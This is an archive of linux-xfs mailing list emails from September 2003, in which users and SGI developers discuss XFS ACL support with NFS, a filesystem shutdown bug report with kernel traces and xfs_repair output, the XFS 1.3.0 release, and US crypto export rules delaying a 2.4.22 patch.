From owner-linux-xfs@oss.sgi.com Mon Sep 1 00:24:47 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 01 Sep 2003 00:25:35 -0700 (PDT) Received: from malik.acsalaska.net (malik.acsalaska.net [209.112.155.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h817OkWZ013679 for ; Mon, 1 Sep 2003 00:24:47 -0700 Received: from erbenson.alaska.net (149-pm3.nwc.alaska.net [209.112.138.149]) by malik.acsalaska.net (8.12.9/8.12.9) with ESMTP id h817Oi4X033162 for ; Sun, 31 Aug 2003 23:24:45 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 646DC39E4 for ; Sun, 31 Aug 2003 23:24:39 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 8006840FF44; Sun, 31 Aug 2003 23:24:39 -0800 (AKDT) Date: Sun, 31 Aug 2003 23:24:39 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: nfs+acl Message-ID: <20030901072439.GA22820@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20030901142919.9796.qmail@eyou.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="pf9I7BMVVzbSWLtt" Content-Disposition: inline In-Reply-To: <20030901142919.9796.qmail@eyou.com> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.50 X-Scanned-By: MIMEDefang 2.36 X-archive-position: 251 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 1075 Lines: 48 --pf9I7BMVVzbSWLtt Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Sep 01, 2003 at 02:29:19PM +0800, yaoaiguo wrote: > Hello > How can I make my linux2.4.20 support xfs+acl+nfs? > The site "http://acl.bestbits.at" provide patch for ext/ext3 filesystem, = where > can I find patch for xfs?=20 xfs does not need a patch, it supports ACLs nativly. > I find someone ask this question before, but I did not find the answer.= Who > can tell me? > Thanks. >=20 >=20 >=20 >=20 >=20 > --http://www.eyou.com > --?????????????????????? ???????? ???????? ???????? ????????...??????= ?? >=20 >=20 --=20 Ethan Benson http://www.alaska.net/~erbenson/ --pf9I7BMVVzbSWLtt Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9S9DcACgkQJKx7GixEevwacQCfSPk9xKL93RSMawymjbq2ROB5 A98AnAgJtq8MD6CSfMQz/RbTQ7XJQI4Q =umYB -----END PGP SIGNATURE----- --pf9I7BMVVzbSWLtt-- From owner-linux-xfs@oss.sgi.com Mon Sep 1 03:36:50 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 01 Sep 2003 03:37:16 -0700 (PDT) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h81AaoWZ023533 for ; Mon, 1 Sep 2003 03:36:50 -0700 Received: (from xfs@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h81Aao2w023532 for linux-xfs@oss.sgi.com; Mon, 1 Sep 2003 03:36:50 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h81AalWb023502 for ; Mon, 1 Sep 2003 03:36:48 -0700 Received: (from apache@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h81AFPMJ016759; Mon, 1 Sep 2003 03:15:25 -0700 Date: Mon, 1 Sep 2003 03:15:25 -0700 Message-Id: <200309011015.h81AFPMJ016759@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 277] New: xfs_force_shutdown after kernel bug X-Bugzilla-Reason: AssignedTo X-archive-position: 252 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2119 Lines: 53 http://oss.sgi.com/bugzilla/show_bug.cgi?id=277 Summary: xfs_force_shutdown after kernel bug Product: Linux XFS Version: 1.2.x Platform: IA32 OS/Version: Linux Status: NEW Severity: critical Priority: Medium Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: til@belleville.ch I have NFS serving XFS on top of softraid md1. Linux Distribution is Redhat 8.0, kernel is version 2.4.19, XFS is version 1.2. After running this combination for about half a year without problems, I couldn't access the directory any more. 'ls' tells me it's empty, 'mount' tells me it's still mounted. Can't umount (busy), and can't shut down NFS. Output of 'dmesg' follows: xfs_iget_core: ambiguous vns: vp/0xd6ffe080, invp/0xd6ffe480 kernel BUG at debug.c:96! invalid operand: 0000 CPU: 0 EIP: 0010:[] Not tainted EFLAGS: 00010246 eax: 00000040 ebx: 00000000 ecx: dec22000 edx: 00000000 esi: 33fe2c1f edi: 00000000 ebp: db37cdf0 esp: dec23c70 ds: 0018 es: 0018 ss: 0018 Process nfsd (pid: 624, stackpage=dec23000) Stack: c030ba49 c030ba21 c03bbcc0 d6ffe49c c01e54ae 00000000 c0315a80 d6ffe080 d6ffe480 dff93688 df879c00 33fe2c1f c014d6cb df879c00 df592cf8 00000000 00000000 db37cdf0 d6ffe49c d6ffe480 33fe2c1f 00000000 c01e56f7 d6ffe480 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 0f 0b 60 00 41 ba 30 c0 8b 5c 24 0c 83 c4 10 c3 90 8d b6 00 <5>xfs_force_shutdown(md(9,7),0x8) called from line 1042 of file xfs_trans.c. Return address = 0xc01fc208 Corruption of in-memory data detected. Shutting down filesystem: md(9,7) Please umount the filesystem, and rectify the problem(s) ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Sep 1 09:39:58 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 01 Sep 2003 09:40:38 -0700 (PDT) Received: from moving-picture.com (mpc-26.sohonet.co.uk [193.203.82.251]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81GdtWZ022285 for ; Mon, 1 Sep 2003 09:39:57 -0700 Received: from darke.mpc.local ([172.16.11.6] helo=moving-picture.com) by moving-picture.com with esmtp (Exim 3.22 #1) id 19triF-0007yJ-00; Mon, 01 Sep 2003 17:39:31 +0100 Message-ID: <3F537643.86492758@moving-picture.com> Date: Mon, 01 Sep 2003 17:39:31 +0100 From: James Pearson Organization: Moving Picture Company X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX64 6.5 IP30) X-Accept-Language: en MIME-Version: 1.0 To: Russell Cattelan CC: linux-xfs@oss.sgi.com Subject: Re: pre [ANNOUNCE] XFS 1.3.0 References: <1061511791.19226.22.camel@naboo> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Disclaimer: This email and any attachments are confidential, may be legally X-Disclaimer: privileged and intended solely for the use of addressee. If you X-Disclaimer: are not the intended recipient of this message, any disclosure, X-Disclaimer: copying, distribution or any action taken in reliance on it is X-Disclaimer: strictly prohibited and may be unlawful. If you have received X-Disclaimer: this message in error, please notify the sender and delete all X-Disclaimer: copies from your system. X-Disclaimer: X-Disclaimer: Email may be susceptible to data corruption, interception and X-Disclaimer: unauthorised amendment, and we do not accept liability for any X-Disclaimer: such corruption, interception or amendment or the consequences X-Disclaimer: thereof. X-archive-position: 253 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: james-p@moving-picture.com Precedence: bulk X-list: linux-xfs Content-Length: 387 Lines: 19 Russell Cattelan wrote: > > Ok it's official there on oss.sgi.com > We'll do a more formal announcement when we > are not so tired. > > -Russell Cattelan > cattelan@xfs.org Is there going to be a formal announcement? http://oss.sgi.com/projects/xfs/ still refers to XFS Release 1.2. Also, is there likely to be a 2.4.22 core patch for 1.3 in the near future? Thanks James Pearson From owner-linux-xfs@oss.sgi.com Tue Sep 2 00:19:59 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 00:20:39 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.sgi.com [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h827JxWZ002178 for ; Tue, 2 Sep 2003 00:19:59 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h827aYss003295 for ; Tue, 2 Sep 2003 02:36:35 -0500 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA28733; Tue, 2 Sep 2003 17:19:50 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h827JnmY099423; Tue, 2 Sep 2003 17:19:50 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h827I3aP002187; Tue, 2 Sep 2003 17:18:03 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h827I33n002185; Tue, 2 Sep 2003 17:18:03 +1000 Date: Tue, 2 Sep 2003 17:18:03 +1000 From: Nathan Scott To: yaoaiguo Cc: linux-xfs@oss.sgi.com Subject: Re: nfs+acl Message-ID: <20030902071803.GC1378@frodo> References: <20030901142919.9796.qmail@eyou.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030901142919.9796.qmail@eyou.com> User-Agent: Mutt/1.5.3i X-archive-position: 254 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 564 Lines: 18 On Mon, Sep 01, 2003 at 02:29:19PM +0800, yaoaiguo wrote: > Hello > How can I make my linux2.4.20 support xfs+acl+nfs? > The site "http://acl.bestbits.at" provide patch for ext/ext3 filesystem, where > can I find patch for xfs? > I find someone ask this question before, but I did not find the answer.Who > can tell me? The XFS patches include XFS' native acl support already, no additional XFS patches are necessary. I have not tested the NFS patches on top of XFS, so can't really say whether they interoperate well. (let us know!) cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Sep 2 01:11:08 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 01:12:02 -0700 (PDT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h828B7WZ012312 for ; Tue, 2 Sep 2003 01:11:07 -0700 Received: (qmail 23022 invoked by uid 65534); 2 Sep 2003 08:10:59 -0000 Received: from pD9EB779B.dip.t-dialin.net (EHLO debian) (217.235.119.155) by mail.gmx.net (mp027) with SMTP; 02 Sep 2003 10:10:59 +0200 To: linux-xfs@oss.sgi.com Subject: Question in XFS regarding Kernel 2.4.22 From: Benjamin Pfitzner Content-Type: text/plain; format=flowed; charset=iso-8859-1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Date: Tue, 29 Oct 2002 10:43:53 +0100 Message-ID: User-Agent: Opera7.20/Linux M2 build 449 X-archive-position: 255 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: pfitzner@gmx.net Precedence: bulk X-list: linux-xfs Content-Length: 201 Lines: 8 Hi, first of all thanks for publishing the XFS Filesystem. When will there be a patch for Kernel 2.4.22 be avaibale? What is the diference between 2.4.22 and 2.4.22-unofficial? Thanks Ben Pfitzner From owner-linux-xfs@oss.sgi.com Tue Sep 2 01:26:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 01:26:17 -0700 (PDT) Received: from iris.acsalaska.net (iris.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h828Q6WZ018956 for ; Tue, 2 Sep 2003 01:26:07 -0700 Received: from erbenson.alaska.net (50-pm33.nwc.alaska.net [209.112.159.50]) by iris.acsalaska.net (8.12.9/8.12.9) with ESMTP id h828Q4Me027049 for ; Tue, 2 Sep 2003 00:26:04 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id BFDB13A04 for ; Tue, 2 Sep 2003 00:26:02 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 27F5940FF44; Tue, 2 Sep 2003 00:26:03 -0800 (AKDT) Date: Tue, 2 Sep 2003 00:26:03 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: Question in XFS regarding Kernel 2.4.22 Message-ID: <20030902082603.GE26003@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vv4Sf/kQfcwinyKX" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.50 X-Scanned-By: MIMEDefang 2.36 X-archive-position: 256 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 991 Lines: 37 --vv4Sf/kQfcwinyKX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Oct 29, 2002 at 10:43:53AM +0100, Benjamin Pfitzner wrote: > Hi, >=20 > first of all thanks for publishing the XFS Filesystem. > When will there be a patch for Kernel 2.4.22 be avaibale? What is the=20 when they have finished with the government notifications for crypto distribution. (2.4.22 integrates the crpyto api) > diference between 2.4.22 and 2.4.22-unofficial? -unofficial is from a non-SGI tree, and not offically blessed by SGI. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --vv4Sf/kQfcwinyKX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9UVBoACgkQJKx7GixEevyYSgCeOC9Gpp4fP0hAl6Wd47PWbkQg SPgAnibLqqLXpTy7VbNJtBQxmCAvG1yr =ai/9 -----END PGP SIGNATURE----- --vv4Sf/kQfcwinyKX-- From owner-linux-xfs@oss.sgi.com Tue Sep 2 01:36:54 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 01:37:08 -0700 (PDT) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h828asWZ021999 for ; Tue, 2 Sep 2003 01:36:54 -0700 Received: (from xfs@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h828asLj021998 for linux-xfs@oss.sgi.com; Tue, 2 Sep 2003 01:36:54 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h828aqWb021980 for ; Tue, 2 Sep 2003 01:36:52 -0700 Received: (from apache@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h828BpKk012710; Tue, 2 Sep 2003 01:11:51 -0700 Date: Tue, 2 Sep 2003 01:11:51 -0700 Message-Id: <200309020811.h828BpKk012710@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 277] xfs_force_shutdown after kernel bug X-Bugzilla-Reason: AssignedTo X-archive-position: 257 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 376 Lines: 15 http://oss.sgi.com/bugzilla/show_bug.cgi?id=277 ------- Additional Comments From til@belleville.ch 2003-02-09 01:11 PDT ------- One correction of my original post: The partition in question is build on top of software raid level 0 (striped), not 1. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Sep 2 04:14:32 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 04:15:16 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82BEUWZ017214 for ; Tue, 2 Sep 2003 04:14:32 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 6EBBA32CA6; Tue, 2 Sep 2003 13:14:24 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id BA7AF32CD2; Tue, 2 Sep 2003 13:14:23 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id 552BF11E1C; Tue, 2 Sep 2003 13:14:23 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.34.15) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Tue, 2 Sep 2003 13:14:23 +0200 (CEST) Message-ID: <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <20030902071613.GB1378@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> Date: Tue, 2 Sep 2003 13:14:23 +0200 (CEST) Subject: Re: XFS shutdown with 1.3.0 From: "Simon Matter" To: "Nathan Scott" Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h82BEWWZ017221 X-archive-position: 258 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 4678 Lines: 127 >> xfs_inotobp: xfs_imap() returned an error 22 on md(9,8). Returning >> error. >> xfs_iunlink_remove: xfs_inotobp() returned an error 22 on md(9,8). >> Returning error. >> xfs_inactive: xfs_ifree() returned an error = 22 on md(9,8) >> xfs_force_shutdown(md(9,8),0x1) called from line 1846 of file >> xfs_vnodeops.c. Return address = 0xd08bd8c6 >> Filesystem "md(9,8)": I/O Error Detected. Shutting down filesystem: >> md(9,8) >> Please umount the filesystem, and rectify the problem(s) > > Hmmm - seen a couple of these reports now, unfortunately I haven't > come across it myself yet. Someone else has a bugzilla bug open, > it seems to be really difficult to trigger this one. > The only thing I did in that moment was removing a file of ~1.5G size with rm file. Although there were some files open on this filesystem via NFS, there was absolutely no activity. >> >> [root@xxl root]# xfs_check /dev/md8 >> xfs_check: warning - cannot get sector size from block device /dev/md8: >> Invalid argument > ^^^^^^^^^^^^^^^^^^^ > this is where those bogus md "ictls" are coming from, btw. Its > fixed in more recent kernels, you can search lkml archives for > recent Neil Brown patches and find the fix (its some missing code > in md, and is harmless here). I've seen this since long time so I didn't worry about it. > >> agf_freeblks 22053, counted 30629 in ag 6 >> agi_freecount 332, counted 331 in ag 153 >> >> [root@xxl root]# xfs_repair -n -l /dev/md9 /dev/md8 > > Running xfs_repair without -n might help in this case to fix sufficient > data on the first run that subsequent runs don't dump core. :| Now that I took a recent backup of the most important data, I'll try this next :) > > The gdb trace from xfs_repair will provide more clues here too. > >> xfs_repair: warning - cannot get sector size from block device /dev/md8: >> Invalid argument >> xfs_repair: warning - cannot get sector size from block device /dev/md9: >> Invalid argument >> Phase 1 - find and verify superblock... >> sb root inode value 128 inconsistent with calculated value 512 >> would reset superblock root inode pointer to 512 > > Wierd. Is this a 4K blocksize filesystem? Do you have xfs_info > output handy? taa. [root@xxl root]# xfs_info /home meta-data=/home isize=256 agcount=160, agsize=262144 blks = sectsz=512 data = bsize=4096 blocks=41889120, imaxpct=25 = sunit=32 swidth=96 blks, unwritten=0 naming =version 2 bsize=4096 log =external bsize=4096 blocks=25600, version=1 = sectsz=512 sunit=0 blks realtime =none extsz=393216 blocks=0, rtextents=0 IIRC I created the FS with some XFS 1.0.x version. The size was ~20G, I have since grown it to ~170G. > >> sb realtime bitmap inode 129 inconsistent with calculated value 513 >> would reset superblock realtime bitmap ino pointer to 513 >> sb realtime summary inode 130 inconsistent with calculated value 514 >> would reset superblock realtime summary ino pointer to 514 >> Phase 2 - using external log on /dev/md9 >> - scan filesystem freespace and inode maps... >> root inode chunk not found >> avl_insert: Warning! duplicate range [512,576] >> add_inode - duplicate inode range >> Phase 3 - for each AG... >> - scan (but don't clear) agi unlinked lists... >> - process known inodes and perform inode discovery... >> - agno = 0 >> bad .. entry in directory inode 128, points to self: would clear entry >> data fork in inode 170 claims metadata block 32 >> bad data fork in inode 170 >> would have cleared inode 170 >> data fork in inode 171 claims metadata block 33 >> bad data fork in inode 171 >> would have cleared inode 171 >> - agno = 1 >> - agno = 2 >> - agno = 3 >> - agno = 4 >> - agno = 5 >> >> - agno = 156 >> - agno = 157 >> - agno = 158 >> - agno = 159 >> - process newly discovered inodes... >> Phase 4 - check for duplicate blocks... >> - setting up duplicate extent list... >> Segmentation fault >> >> [root@xxl root]# xfs_repair -V >> xfs_repair version 2.5.6 >> >> I never considered the following a problem but wanted to mention it >> anyways. >> While running xfs_check and xfs_repair, I also get this in the logs: >> >> md: xfs_db(pid 9985) used obsolete MD ioctl, upgrade your software to >> use >> new ictls. > > This part at least is an md problem fixed in more recent kernels. > The corruption is more concerning though, and unrelated. > > cheers. > > -- > Nathan > From owner-linux-xfs@oss.sgi.com Tue Sep 2 06:21:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 06:22:16 -0700 (PDT) Received: from linux-sxs.org (dhcp065-024-128-253.columbus.rr.com [65.24.128.253] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82DLZWZ027804 for ; Tue, 2 Sep 2003 06:21:36 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.9/8.12.9) with ESMTP id h82DL5p6022229; Tue, 2 Sep 2003 09:21:05 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.9/8.12.9/Submit) with ESMTP id h82DL5La000693; Tue, 2 Sep 2003 09:21:05 -0400 Date: Tue, 2 Sep 2003 09:21:04 -0400 (EDT) From: Net Llama! To: Ethan Benson cc: linux-xfs@oss.sgi.com Subject: Re: Question in XFS regarding Kernel 2.4.22 In-Reply-To: <20030902082603.GE26003@plato.local.lan> Message-ID: References: <20030902082603.GE26003@plato.local.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.35 X-archive-position: 259 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 695 Lines: 18 On Tue, 2 Sep 2003, Ethan Benson wrote: > On Tue, Oct 29, 2002 at 10:43:53AM +0100, Benjamin Pfitzner wrote: > > Hi, > > > > first of all thanks for publishing the XFS Filesystem. > > When will there be a patch for Kernel 2.4.22 be avaibale? What is the > > when they have finished with the government notifications for crypto > distribution. (2.4.22 integrates the crpyto api) Could someone explain what this means? Is this just beaurocratic red tape, or is there some technical process behind this requirement? -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Tue Sep 2 06:33:32 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 06:34:04 -0700 (PDT) Received: from burgers.bubbanfriends.org (IDENT:postfix@12-222-156-122.client.insightBB.com [12.222.156.122]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82DXVWZ028983 for ; Tue, 2 Sep 2003 06:33:32 -0700 Received: from localhost (unknown [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 2B24C3000CA1; Tue, 2 Sep 2003 08:33:33 -0500 (EST) Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id 61A663000CA0; Tue, 2 Sep 2003 08:33:31 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by burgers.bubbanfriends.org (Postfix) with ESMTP id 58CC177A9F; Tue, 2 Sep 2003 08:33:31 -0500 (EST) Date: Tue, 2 Sep 2003 08:33:31 -0500 (EST) From: Mike Burger To: Net Llama! Cc: Ethan Benson , Subject: Re: Question in XFS regarding Kernel 2.4.22 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by AMaViS new-20020517 X-archive-position: 260 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mburger@bubbanfriends.org Precedence: bulk X-list: linux-xfs Content-Length: 1172 Lines: 36 On Tue, 2 Sep 2003, Net Llama! wrote: > On Tue, 2 Sep 2003, Ethan Benson wrote: > > On Tue, Oct 29, 2002 at 10:43:53AM +0100, Benjamin Pfitzner wrote: > > > Hi, > > > > > > first of all thanks for publishing the XFS Filesystem. > > > When will there be a patch for Kernel 2.4.22 be avaibale? What is the > > > > when they have finished with the government notifications for crypto > > distribution. (2.4.22 integrates the crpyto api) > > Could someone explain what this means? Is this just beaurocratic red > tape, or is there some technical process behind this requirement? It's a legal/bureaucratic mess. The US government has restrictions on the export of cryptographical technologies. If you intend to make something available for international consumption, which has crypto capabilities, you need to make sure that it meets US federal guidelines or that it's approved, otherwise. -- Mike Burger http://www.bubbanfriends.org Visit the Dog Pound II BBS telnet://dogpound2.citadel.org or http://dogpound2.citadel.org:2000 To be notified of updates to the web site, send a message to: site-update-request@bubbanfriends.org with a message of: subscribe From owner-linux-xfs@oss.sgi.com Tue Sep 2 06:38:50 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 02 Sep 2003 06:39:30 -0700 (PDT) Received: from ns2.len.rkcom.net (ns2.len.rkcom.net [80.148.32.9]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82DcmWZ029687 for ; Tue, 2 Sep 2003 06:38:49 -0700 Received: from omoikane.home.net (pD9E8FA92.dip.t-dialin.net [217.232.250.146]) (authenticated (0 bits)) by ns2.len.rkcom.net (8.11.6/8.11.6) with ESMTP id h82DcPo29441; Tue, 2 Sep 2003 15:38:26 +0200 From: Florian Schanda To: Mike Burger , Net Llama! Subject: Re: Question in XFS regarding Kernel 2.4.22 Date: Tue, 2 Sep 2003 15:38:57 +0000 User-Agent: KMail/1.5.3 Cc: Ethan Benson , References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200309021539.11221.ma1flfs@bath.ac.uk> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h82DcoWZ029689 X-archive-position: 261 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ma1flfs@bath.ac.uk Precedence: bulk X-list: linux-xfs Content-Length: 770 Lines: 25 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 02 September 2003 13:33, Mike Burger wrote: > It's a legal/bureaucratic mess. The US government has restrictions on the > export of cryptographical technologies. If you intend to make something > available for international consumption, which has crypto capabilities, > you need to make sure that it meets US federal guidelines or that it's > approved, otherwise. Correct me if I'm mistaken, but isn't it an XFS-patch we're talking about here? The cryptoapi is in the vanilla kernel, not the in XFS patch. Florian -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) 